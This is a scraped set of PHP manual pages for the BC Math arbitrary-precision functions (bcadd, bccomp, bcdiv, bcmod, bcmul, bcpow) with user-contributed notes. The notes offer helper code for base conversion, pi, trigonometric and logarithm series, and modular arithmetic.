An amendment to the entry by pulstar at mail dot com - the digits() function can be made much faster (remove the line breaks from the big string, and make sure you don't miss any characters!):

function digits2($base) {
    if($base < 64) {
        return substr('0123456789abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ-_', 0, $base);
    } else {
        return substr("\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xa\xb\xc\xd
\xe\xf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f\x20!\x22#\x24%&'()*+,-./0123456789:;<=>
\x3f@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]
^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95
\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5
\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5
\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5
\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5
\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6
\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", 0, $base);
    }
}

in my benchmarks, this is around 150x faster for 256 digits
stonehew ut gm a il det com 25-Nov-2004 06:31
Like any other bc function, you can't trust the last couple of digits, but everything else seems to check out.  If you want to use this for anything important, you may want to verify this against other sources of pi before use.  This function calculates 100 decimal places of pi in 329 iterations -- not exactly fast (each iteration calls the factorial function, from below, twice), so I try to avoid calling it more than once.

<?
//arbitrary precision pi approximator
//author tom boothby
//free for any use

function bcpi() {
    $r=2;
    $i=0;
    $or=0;

    while(bccomp($or,$r)) {
        $i++;
        $or=$r;
        $r = bcadd($r,bcdiv(bcmul(bcpow(bcfact($i),2),
                        bcpow(2,$i+1)),bcfact(2*$i+1)));
    }

    return $r;
}

?>
stonehew et g m a i l dut com 24-Nov-2004 08:20
I hacked these taylor expansions up to make diagrams for some physics homework.  I don't think you'll be wanting to do any real science with PHP... but what the hell, why not?  I plan to implement either a spigot algorithm or something similar to generate pi in the near future.

<?
// arbitrary precision sin and cosine functions
// author tom boothby
// free for any use

function bcfact($n) {
    $r = $n--;
    while($n>1) $r=bcmul($r,$n--);
    return $r;
}

function bcsin($a) {
    $or= $a;
    $r = bcsub($a,bcdiv(bcpow($a,3),6));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
        }
        $i++;
    }
    return $r;
}

function bccos($a) {
    $or= $a;
    $r = bcsub(1,bcdiv(bcpow($a,2),2));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
        }
        $i++;
    }
    return $r;
}

?>
Diabolos at GMail dot com 28-Oct-2004 08:42
Here's a function to compute the natural exponential function in arbitrary precision using the basic bcMath arithmetic operations.

EXAMPLE:
To compute the exponential function of 1.7 to 36 decimals:

$y = bcExp("1.7", 36);

The result:
4.331733759839529271053448625299468628

would be returned in variable $y

NOTE:
In practice, the last couple of digits may be inaccurate due to small rounding errors.  If you require a specific degree of precision, always compute 3-4 decimals beyond the required precision.

The program code for the natural exponential function is:
******************************************

  Function bcExp($xArg, $NumDecimals)

{
   $x = Trim($xArg);

   $PrevSum  = $x - 1;
   $CurrTerm = 1;
   $CurrSum  = bcAdd("1", $x, $NumDecimals);
   $n        = 1;

   While (bcComp($CurrSum, $PrevSum, $NumDecimals))

  {
   $PrevSum  = $CurrSum;
   $CurrTerm = bcDiv(bcMul($CurrTerm, $x, $NumDecimals), $n + 1, $NumDecimals);
   $CurrSum  = bcAdd($CurrSum, $CurrTerm, $NumDecimals);

   $n++;
  }

   Return $CurrSum;
}
robert at scabserver dot com 03-Jun-2004 06:58
I spent some time looking for how to generate a large random number, in the end I've settled for reading directly from /dev/urandom

I know this is a *nix only solution, but I figured that it might come in handy to someone else.

The value $size is the size in bits, it could be simplified greatly if you want the size in bytes, but bits was more helpful to what I needed.

<?php
function bcrand($size)
{
    $filename = "/dev/urandom";
    $handle = fopen($filename, "r");
    $bin_urand = fread($handle, ceil($size/8.0));
    fclose($handle);
    $mask = (($size % 8 < 5) ? '0' : '') . dechex(bindec(str_repeat('1', $size % 8))) . str_repeat('FF', floor($size/8));
    $binmask = pack("H*", $mask);
    $binrand = $binmask & $bin_urand;
    $hexnumber = unpack("H*", $binrand);
    $hexnumber = $hexnumber[''];
    $numlength = strlen($hexnumber);
    $decnumber = 0;
    for($x = 1; $x <= $numlength; $x++)
    {
        $place = $numlength - $x;
        $operand = hexdec(substr($hexnumber,$place,1));
        $exponent = bcpow(16,$x-1);
        $decValue = bcmul($operand, $exponent);
        $decnumber = bcadd($decValue, $decnumber);
    }
    return $decnumber;
}
?>
pulstar at mail dot com 16-Apr-2003 02:12
A little comment for the simplified example above: you can do base converting without BCMath functions using only math operators, but you will not able to manage very large values or work with strings to compress or scramble data. If you have BCMath installed in your system it worth use it for this.
oliver at summertime dot net 01-Mar-2003 07:12
A simplier Version of the Script above:

function dec2base($dec, $digits) {
 $value = "";
 $base  = strlen($digits);
 while($dec>$base-1) {
  $rest = $dec % $base;
  $dec  = $dec / $base;
  $value = $digits[$rest].$value;
 }
 $value = $digits[intval($dec)].$value;
 return (string) $value;
}

function base2dec($value, $digits) {
 $value = strtoupper($value);
 $base  = strlen($digits);
 $size  = strlen($value);
 $dec   = '0';
 for ($loop = 0; $loop<$size; $loop++) {
  $element = strpos($digits,$value[$loop]);
  $power   = pow($base,$size-$loop-1);
  $dec    += $element * $power;
 }
 return (string) $dec;
}

$digits = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
echo dec2base('1000', $digits);
pulstar at mail dot com 20-Sep-2002 04:23
A found a little fix to do in my base2dec() function:
The line "if($base<37) $value=strtolower($value);" should be removed if you want to specify another digits for your base conversions. Change it this way:

if(!$digits) {
$digits=digits($base);
if($base<37) {
$value=strtolower($value);
}
}

Another example using these functions is to generate a key for a session, to name temporary files or something else:

srand((double) microtime()*1000000);
$id=uniqid(rand(10,999));
$mykey=dec2base(base2dec($id,16),64);

$mykey is a base64 value, which is a good key for passing thru an URL and also is shorter than a MD5 string (it will be allways 11 chars long). If you need something more secure, just scramble the 64 digits in the digits() function.

Well, I hope you enjoy it.

Regards,
Edemilson Lima
pulstar at mail dot com 20-Sep-2002 05:27
A good use for BCMath functions:
The functions below can convert a number in any base (from 2 to 256) to its decimal value and vice-versa.

// convert a decimal value to any other base value
function dec2base($dec,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    $value="";
    if(!$digits) $digits=digits($base);
    while($dec>$base-1) {
        $rest=bcmod($dec,$base);
        $dec=bcdiv($dec,$base);
        $value=$digits[$rest].$value;
    }
    $value=$digits[intval($dec)].$value;
    return (string) $value;
}

// convert another base value to its decimal value
function base2dec($value,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    if($base<37) $value=strtolower($value);
    if(!$digits) $digits=digits($base);
    $size=strlen($value);
    $dec="0";
    for($loop=0;$loop<$size;$loop++) {
        $element=strpos($digits,$value[$loop]);
        $power=bcpow($base,$size-$loop-1);
        $dec=bcadd($dec,bcmul($element,$power));
    }
    return (string) $dec;
}

function digits($base) {
    if($base>64) {
        $digits="";
        for($loop=0;$loop<256;$loop++) {
            $digits.=chr($loop);
        }
    } else {
        $digits ="0123456789abcdefghijklmnopqrstuvwxyz";
        $digits.="ABCDEFGHIJKLMNOPQRSTUVWXYZ-_";
    }
    $digits=substr($digits,0,$base);
    return (string) $digits;
}

The purpose of digits() function above is to supply the characters that will be used as digits for the base you want. NOTE: You can use any characters for that when you convert to another base, but when you convert again to the decimal base, you need to use the same characters or you will get another unexpected result.


Add two arbitrary precision numbers

  • « BC Math Functions
  • bccomp »
  • PHP Manual
  • BC Math Functions
  • Add two arbitrary precision numbers

bcadd

(PHP 4, PHP 5)

bcadd — Add two arbitrary precision numbers

Description

string bcadd ( string $left_operand , string $right_operand [, int $scale ] )

Sums left_operand and right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

The sum of the two operands, as a string.

Examples

Example #1 bcadd() example

<?php

$a = '1.234';
$b = '5';

echo bcadd($a, $b);     // 6
echo bcadd($a, $b, 4);  // 6.2340

?>

See Also

  • bcsub() - Subtract one arbitrary precision number from another

User Contributed Notes

Nitrogen 16-Jul-2009 06:16
I made this to add an unlimited size of numbers together..

This could be useful for those without the BCMath extension.

It allows decimals, and optional $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to show the correct number of decimals.

<?php

function Add($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // this is where the result is stored
  $Output=array();

  // remove ending zeroes from decimals and remove point
  $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
  $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

  // calculate the longest length of decimals
  $DLen=max(strlen($Dec1),strlen($Dec2));

  // if $Scale is null, automatically set it to the amount of decimal places for accuracy
  if($Scale==null) $Scale=$DLen;

  // remove leading zeroes and reverse the whole numbers, then append padded decimals on the end
  $Num1=strrev(ltrim($Tmp1[1],'0').str_pad($Dec1,$DLen,'0'));
  $Num2=strrev(ltrim($Tmp2[1],'0').str_pad($Dec2,$DLen,'0'));

  // calculate the longest length we need to process
  $MLen=max(strlen($Num1),strlen($Num2));

  // pad the two numbers so they are of equal length (both equal to $MLen)
  $Num1=str_pad($Num1,$MLen,'0');
  $Num2=str_pad($Num2,$MLen,'0');

  // process each digit, keep the ones, carry the tens (remainders)
  for($i=0;$i<$MLen;$i++) {
    $Sum=((int)$Num1{$i}+(int)$Num2{$i});
    if(isset($Output[$i])) $Sum+=$Output[$i];
    $Output[$i]=$Sum%10;
    if($Sum>9) $Output[$i+1]=1;
  }

  // convert the array to string and reverse it
  $Output=strrev(implode($Output));

  // substring the decimal digits from the result, pad if necessary (if $Scale > amount of actual decimals)
  // next, since actual zero values can cause a problem with the substring values, if so, just simply give '0'
  // next, append the decimal value, if $Scale is defined, and return result
  $Decimal=str_pad(substr($Output,-$DLen,$Scale),$Scale,'0');
  $Output=(($MLen-$DLen<1)?'0':substr($Output,0,-$DLen));
  $Output.=(($Scale>0)?".{$Decimal}":'');
  return($Output);
}

$A="5650175242.508133742";
$B="308437806.831153821478770";

printf("  Add(%s,%s);\r\n// %s\r\n\r\n",$A,$B,  Add($A,$B));
printf("BCAdd(%s,%s);\r\n// %s\r\n\r\n",$A,$B,BCAdd($A,$B));

/*
  This will produce the following..
    Add(5650175242.508133742,308437806.831153821478770);
  // 5958613049.33928756347877

  BCAdd(5650175242.508133742,308437806.831153821478770);
  // 5958613049
*/

?>

It was a fun experience making, and thought I'd share it.
Enjoy,
Nitrogen.
Bo Anders Svensson 23-May-2005 02:25
Be aware:

$exp1 = "1E5";
$exp2 = "2E4";

$ans1 = bcadd((float)$exp1, (float)$exp2, 3);
$ans2 = bcadd((int)$exp1, (int)$exp2, 3);
$ans3 = bcadd($exp1, $exp2, 3);

echo "1: $exp1 + $exp2 = $ans1\r\n";
echo "2: $exp1 + $exp2 = $ans2\r\n";
echo "3: $exp1 + $exp2 = $ans3\r\n";

1: 1E5 + 2E4 = 120000.000
2: 1E5 + 2E4 = 3.000
3: 1E5 + 2E4 = 0.000


Compare two arbitrary precision numbers

  • « bcadd
  • bcdiv »
  • PHP Manual
  • BC Math Functions
  • Compare two arbitrary precision numbers

bccomp

(PHP 4, PHP 5)

bccomp — Compare two arbitrary precision numbers

Description

int bccomp ( string $left_operand = "" , string $right_operand = "" [, int $scale = int ] )

Compares the left_operand to the right_operand and returns the result as an integer.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

The optional scale parameter is used to set the number of digits after the decimal place which will be used in the comparison.

Return Values

Returns 0 if the two operands are equal, 1 if the left_operand is larger than the right_operand, -1 otherwise.

Examples

Example #1 bccomp() example

<?php

echo bccomp('1', '2') . "\n";   // -1
echo bccomp('1.00001', '1', 3); // 0
echo bccomp('1.00001', '1', 5); // 1

?>

User Contributed Notes

github.com/alixaxel/phunction/ 07-May-2012 10:19
You can wrap this function with version_compare() to have support for operators and friendlier (boolean) return values.

<?php

function _bccomp($a, $b, $operator = '=')
{
    return version_compare(bccomp($a, $b), 0, $operator);
}

var_dump(_bccomp(5, 3, '>=')); // true

?>

Still works with arbitrary length numbers.
Robert Lozyniak 17-Feb-2010 07:04
Beware that negative zero does not compare equal to positive zero.
Nitrogen 21-Jul-2009 03:23
I made this to compare an unlimited size of numbers..

This could be useful for those without the BCMath extension.

It allows decimals, and option $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to the correct number of decimals to compare.

<?php

function Comp($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // remove leading zeroes from whole numbers
  $Num1=ltrim($Tmp1[1],'0');
  $Num2=ltrim($Tmp2[1],'0');

  // first, we can just check the lengths of the numbers, this can help save processing time
  // if $Num1 is longer than $Num2, return 1.. vice versa with the next step.
  if(strlen($Num1)>strlen($Num2)) return(1);
  else {
    if(strlen($Num1)<strlen($Num2)) return(-1);

    // if the two numbers are of equal length, we check digit-by-digit
    else {

      // remove ending zeroes from decimals and remove point
      $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
      $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

      // if the user defined $Scale, then make sure we use that only
      if($Scale!=null) {
        $Dec1=substr($Dec1,0,$Scale);
        $Dec2=substr($Dec2,0,$Scale);
      }

      // calculate the longest length of decimals
      $DLen=max(strlen($Dec1),strlen($Dec2));

      // append the padded decimals onto the end of the whole numbers
      $Num1.=str_pad($Dec1,$DLen,'0');
      $Num2.=str_pad($Dec2,$DLen,'0');

      // check digit-by-digit, if they have a difference, return 1 or -1 (greater/lower than)
      for($i=0;$i<strlen($Num1);$i++) {
        if((int)$Num1{$i}>(int)$Num2{$i}) return(1);
        else
          if((int)$Num1{$i}<(int)$Num2{$i}) return(-1);
      }

      // if the two numbers have no difference (they're the same).. return 0
      return(0);
    }
  }
}

$A="10.50002";
$B="10.50001";

printf("  Comp(%s,%s); // %s\r\n",$A,$B,  Comp($A,$B));
printf("BCComp(%s,%s); // %s\r\n",$A,$B,BCComp($A,$B));

/*
    Comp(10.50002,10.50001); // 1
  BCComp(10.50002,10.50001); // 0 (BCComp has a default decimal scale of 0, unless specified)
*/

?>

I tried to make this behave like BCComp..

The only difference being mine will compare the decimals by default.. BCComp won't..
.. unless, of course, you specify the amount of decimals to include in the process.
Enjoy,
Nitrogen.
m dot kaczanowski at alianet dot pl 11-Mar-2009 03:35
Improvement of functions bcmax() and bcmin() originaly written by frank at booksku dot com

<?php

function bcmax() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $max = $args[0];
  foreach($args as $value) {
    if (bccomp($value, $max)==1) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $min = $args[0];
  foreach($args as $value) {
    if (bccomp($min, $value)==1) {
      $min = $value;
    }
  }
  return $min;
}
?>
frank at booksku dot com 05-Oct-2005 12:41
I slapped together min() and max() functions using bccomp().  While min() and max() only take an arbitrary number of args (i.e. max(1, 5, 1235, 12934, 66)) bccomp only takes 2.

Note that this doesn't take into account $scale.

<?php

function bcmax() {
  $max = null;
  foreach(func_get_args() as $value) {
    if ($max == null) {
      $max = $value;
    } else if (bccomp($max, $value) < 0) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $min = null;
  foreach(func_get_args() as $value) {
    if ($min == null) {
      $min = $value;
    } else if (bccomp($min, $value) > 0) {
      $min = $value;
    }
  }
  return $min;
}
?>
11-Feb-2005 11:03
Note that the above function defeats the purpose of BCMath functions, for it uses the 'conventional' < operator.
Instead, it should be:
<?php
function my_bccomp_zero($amount, $scale)
{
   if (@$amount{0}=="-")
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
?>


Divide two arbitrary precision numbers

  • « bccomp
  • bcmod »
  • PHP Manual
  • BC Math Functions
  • Divide two arbitrary precision numbers

bcdiv

(PHP 4, PHP 5)

bcdiv — Divide two arbitrary precision numbers

Description

string bcdiv ( string $left_operand = "" , string $right_operand = "" [, int $scale = int ] )

Divides the left_operand by the right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result of the division as a string, or NULL if right_operand is 0.

Examples

Example #1 bcdiv() example

<?php

echo bcdiv('105', '6.55957', 3);  // 16.007

?>

See Also

  • bcmul() - Multiply two arbitrary precision numbers

User Contributed Notes

Anonymous 26-Sep-2010 07:05
The custom bcdiv function listed at the top of this page produces very different results from bcdiv, as it rounds instead of truncating the result. Consider the following:

<?php

function bcdiv_cust( $first, $second, $scale = 0 )
{
    $res = $first / $second;
    return round( $res, $scale );
}

echo bcdiv('1','2','0') . " vs. " bcdiv_cust('1','2','0');  // prints '0 vs. 1'

?>
MM 18-Jan-2008 12:29
Perhaps some one can find useful this function to compute the modular inverse of a integer (extended euclidean algorithm):

  function invmod($a,$b) {
    $n=$b;
    $x=0; $lx=1; $y=1; $ly=0;
    while ($b) {
      $t=$b;
      $q=bcdiv($a,$b,0);
      $b=bcmod($a,$b);
      $a=$t;
      $t=$x; $x=bcsub($lx,bcmod(bcmul($q,$x),$n)); $lx=$t;
      $t=$y; $y=bcsub($ly,bcmod(bcmul($q,$y),$n)); $ly=$t;
    }
    if (bccomp($lx,0) == -1)
      $lx=bcadd($lx,$n);
    return $lx;
  }

  // verify

  $n="2447995268898324993537772139997802321";
  $t="64941057316178801556773346239351236811";
  $m="123456789";
  $i=invmod($t,$n);
  // (t*m)*inv(t) is m
  echo bcmod(bcmul(bcmod(bcmul($t,$m),$n),$i),$n) == $m;
Gautam 29-Aug-2007 04:56
<?php
 //converting in to required precision of decimal points
$result= bcdiv(89.99999999997,2.57865741235478,2);
 echo "$result";  // 34.90 result with 2 decimal points
?>
cristianDOTzuddas]NOSPAM[gmailDOTcom 24-Jul-2005 02:10
Decimal to binary conversion, using BC Math.
Note: this function is VERY slow if the decimal number is too big!

<?
function bc_decbin($dec_str) {
    if (strlen($dec_str)>0) {
        $bin_str = '';
        do {
            if (((int)$dec_str[strlen($dec_str)-1] % 2) === 0)
                $bin_str .= '0';
            else
                $bin_str .= '1';

            $dec_str = bcdiv($dec_str, '2');
        } while ($dec_str!='0');

        return strrev($bin_str);
    }
    else
        return null;
}
?>

-----
Cristian
www.CodeFlower.com


Get modulus of an arbitrary precision number

  • « bcdiv
  • bcmul »
  • PHP Manual
  • BC Math Functions
  • Get modulus of an arbitrary precision number

bcmod

(PHP 4, PHP 5)

bcmod — Get modulus of an arbitrary precision number

Description

string bcmod ( string $left_operand , string $modulus )

Get the modulus of the left_operand using modulus.

Parameters

left_operand

The left operand, as a string.

modulus

The modulus, as a string.

Return Values

Returns the modulus as a string, or NULL if modulus is 0.

Examples

Example #1 bcmod() example

<?php
echo bcmod('4', '2'); // 0
echo bcmod('2', '4'); // 2
?>

See Also

  • bcdiv() - Divide two arbitrary precision numbers

User Contributed Notes

drahoszdenek at gmail dot com 02-Feb-2013 01:44
The modulus can be only integer. For "floats" bcmod returns 0:

<?php
echo bcmod('10', '2.1'); // 0
?>

For real modulus you can use BN-PHP project (hosted at Bitbucket):

<?php
$eval = new \BN\Expression\ExpressionEvaluator();
$operators = new \BN\Expression\OperatorsFactory();
$eval->setOperators($operators->getOperators(array('%')));

echo $eval->evaluate('10 % 2.1'); // 1.6
echo $eval->evaluate('10 % -2.1'); // 1.6
echo $eval->evaluate('-10 % 2.1'); // -1.6
echo $eval->evaluate('-10 % -2.1'); // -1.6
?>
admin at deosnet dot com 20-Dec-2012 11:59
This function is also equivalent to :

<?php
    echo 4%2; // 0
    echo 2%4; // 2
?>
sebas at stageprikbord dot nl 27-Mar-2007 03:53
function bc_is_even($int_str) {
  return (int)!($int_str & 1);
}

More resource efficient version of 'bc_is_even'.
lauris at night dot lt 23-Dec-2003 05:04
<?php
/**
 * my_bcmod - get modulus (substitute for bcmod)
 * string my_bcmod ( string left_operand, int modulus )
 * left_operand can be really big, but be carefull with modulus :(
 * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
 **/
function my_bcmod( $x, $y )
{
    // how many numbers to take at once? carefull not to exceed (int)
    $take = 5;
    $mod = '';

    do
    {
        $a = (int)$mod.substr( $x, 0, $take );
        $x = substr( $x, $take );
        $mod = $a % $y;
    }
    while ( strlen($x) );

    return (int)$mod;
}

// example
echo my_bcmod( "7044060001970316212900", 150 );
?>


Multiply two arbitrary precision numbers

  • « bcmod
  • bcpow »
  • PHP Manual
  • BC Math Functions
  • Multiply two arbitrary precision numbers

bcmul

(PHP 4, PHP 5)

bcmul — Multiply two arbitrary precision numbers

Description

string bcmul ( string $left_operand = "" , string $right_operand = "" [, int $scale = int ] )

Multiply the left_operand by the right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result as a string.

Examples

Example #1 bcmul() example

<?php
echo bcmul('1.34747474747', '35', 3); // 47.161
echo bcmul('2', '4'); // 8
?>

See Also

  • bcdiv() - Divide two arbitrary precision numbers

User Contributed Notes

gar37bic at gmail dot com 20-Nov-2012 02:06
When using printf to print the results of bcmath operations, use string format, i.e. '%s', not numeric formats such as '%d' or '%f'.  For example, the output of factorial (23) will be incorrect if using %d or %f:

Result using %f:
factorial (22) = 1124000727777607680000 (correct)
factorial (23) = 25852016738884978212864 (incorrect)

Result using %s:
factorial (22) = 1124000727777607680000
factorial (23) = 25852016738884976640000

Using echo, this is not a problem - PHP will output the bcmath string type correctly.
admin at spamhere dot sinfocol dot org 04-Jan-2011 07:17
Well, I have a little problem implementing Blake Hash in my server because it is not a x64 server machine. I made a little function that use the powerfull of BC library to do the bitwise operation Shift.

<?php
echo 'Left Shift test<br />';
bprint('1', decbin(1));
bprint('1 << 32 (Fail)', decbin(1 << 32)); //Fail, operation not succesfull in 32-bit machine
bprint('shiftleft(1, 32) (Success)', dec2bin(shiftleft('1', '32'))); //decbin fails, so we use personalized function, success

echo '<br />';
echo 'Right Shift test<br />';
bprint('9223372036854775808', dec2bin('9223372036854775808'));
bprint('9223372036854775808 >> 63 (Fail)', decbin(9223372036854775808 >> 63));
bprint('rightshift(9223372036854775808, 63) (Success)', decbin(rightshift('9223372036854775808', '63')));

function shiftleft($num, $bits) {
    return bcmul($num, bcpow('2', $bits));
}

function rightshift($num, $bits) {
    return bcdiv($num, bcpow('2', $bits));
}

function bprint($title, $content) {
    echo $title . '<br />' . str_pad($content, 64, '0', STR_PAD_LEFT) . '<br />' . PHP_EOL;
}

//http://www.php.net/manual/en/function.decbin.php#99533
function dec2bin($dec) {
    // Better function for dec to bin. Support much bigger values, but doesn’t support signs
    for ($b = '', $r = $dec; $r >1;) {
        $n = floor($r / 2);
        $b = ($r - $n * 2) . $b;
        $r = $n; // $r%2 is inaccurate when using bigger values (like 11.435.168.214)!
    }
    return ($r % 2) . $b;
}
?>
Nitrogen 09-Jul-2009 02:55
I made this to multiply an unlimited size of integers together (meaning no decimals)..
This could be useful for those without the BCMath extension.

<?php

function Mul($Num1='0',$Num2='0') {
  // check if they're both plain numbers
  if(!preg_match("/^\d+$/",$Num1)||!preg_match("/^\d+$/",$Num2)) return(0);

  // remove zeroes from beginning of numbers
  for($i=0;$i<strlen($Num1);$i++) if(@$Num1{$i}!='0') {$Num1=substr($Num1,$i);break;}
  for($i=0;$i<strlen($Num2);$i++) if(@$Num2{$i}!='0') {$Num2=substr($Num2,$i);break;}

  // get both number lengths
  $Len1=strlen($Num1);
  $Len2=strlen($Num2);

  // $Rema is for storing the calculated numbers and $Rema2 is for carrying the remainders
  $Rema=$Rema2=array();

  // we start by making a $Len1 by $Len2 table (array)
  for($y=$i=0;$y<$Len1;$y++)
    for($x=0;$x<$Len2;$x++)
      // we use the classic lattice method for calculating the multiplication..
      // this will multiply each number in $Num1 with each number in $Num2 and store it accordingly
      @$Rema[$i++%$Len2].=sprintf('%02d',(int)$Num1{$y}*(int)$Num2{$x});

  // cycle through each stored number
  for($y=0;$y<$Len2;$y++)
    for($x=0;$x<$Len1*2;$x++)
      // add up the numbers in the diagonal fashion the lattice method uses
      @$Rema2[Floor(($x-1)/2)+1+$y]+=(int)$Rema[$y]{$x};

  // reverse the results around
  $Rema2=array_reverse($Rema2);

  // cycle through all the results again
  for($i=0;$i<count($Rema2);$i++) {
    // reverse this item, split, keep the first digit, spread the other digits down the array
    $Rema3=str_split(strrev($Rema2[$i]));
    for($o=0;$o<count($Rema3);$o++)
      if($o==0) @$Rema2[$i+$o]=$Rema3[$o];
      else @$Rema2[$i+$o]+=$Rema3[$o];
  }
  // implode $Rema2 so it's a string and reverse it, this is the result!
  $Rema2=strrev(implode($Rema2));

  // just to make sure, we delete the zeros from the beginning of the result and return
  while(strlen($Rema2)>1&&$Rema2{0}=='0') $Rema2=substr($Rema2,1);

  return($Rema2);
}

$A='5650175242508133742';
$B='2361030539975818701734615584174625';

printf("  Mul(%s,%s); // %s\r\n",$A,$B,  Mul($A,$B));
printf("BCMul(%s,%s); // %s\r\n",$A,$B,BCMul($A,$B)); // build-in function

/*
  This will print something similar to this..
    Mul(5650175242508133742,2361030539975818701734615584174625);
  BCMul(5650175242508133742,2361030539975818701734615584174625);

  both of which should be followed by the answer:
  13340236303776981390475700774516825287352418182696750
*/

?>

It was a fun experience making.. even though this took me longer than the BCAdd alternative I did..
Memory allocation might be an issue for rediculously larger numbers though.. if someone wants to benchmark the performance of my function; feel free.
Enjoy,
Nitrogen.
ju(...) 02-Apr-2008 09:00
Except that with xpheas method, you lose all the benefits of arbitrary precision as the * operator only works on int and float and those are restricted in length (See int ant float types for more information).


Raise an arbitrary precision number to another

  • « bcmul
  • bcpowmod »
  • PHP Manual
  • BC Math Functions
  • Raise an arbitrary precision number to another

bcpow

(PHP 4, PHP 5)

bcpow — Raise an arbitrary precision number to another

Description

string bcpow ( string $left_operand , string $right_operand [, int $scale ] )

Raise left_operand to the power right_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result as a string.

Examples

Example #1 bcpow() example

<?php

echo bcpow('4.2', '3', 2); // 74.08

?>

Notes

Note:

bcpow() may return a result with fewer digits after the decimal point than the scale parameter would indicate. This only occurs when the result doesn't require all of the precision allowed by the scale. For example:

Example #2 bcpow() scale example

<?php
echo bcpow('5', '2', 2);     // prints "25", not "25.00"
?>

See Also

  • bcpowmod() - Raise an arbitrary precision number to another, reduced by a specified modulus
  • bcsqrt() - Get the square root of an arbitrary precision number

User Contributed Notes

thomas at tgohome dot com 13-Jul-2009 09:19
<?php

bcscale(100);

/*
 * Computes the natural logarithm using a series.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iter = 10)
{
    $result = "0.0";

    for($i = 0; $i < $iter; $i++)
    {
        $pow = (1 + (2 * $i));
        $mul = bcdiv("1.0", $pow);
        $fraction = bcmul($mul, bcpow(bcsub($a, "1.0") / bcadd($a, "1.0"), $pow));
        $result = bcadd($fraction, $result);
    }

    return bcmul("2.0", $result);
}

/*
 * Computes the base2 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog2($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("2", $iter));
}

/*
 * Computes the base10 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog10($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("10", $iter));
}

?>
11-Feb-2005 10:58
Well, if bcpow has limits, then this should work:
<?php
function bcpow_($num, $power) {
    $awnser = "1";
    while ($power) {
        $awnser = bcmul($awnser, $num, 100);
        $power = bcsub($power, "1");
    }
    return rtrim($awnser, '0.');
}
?>
Just that $power cannot have decimal digits in it.
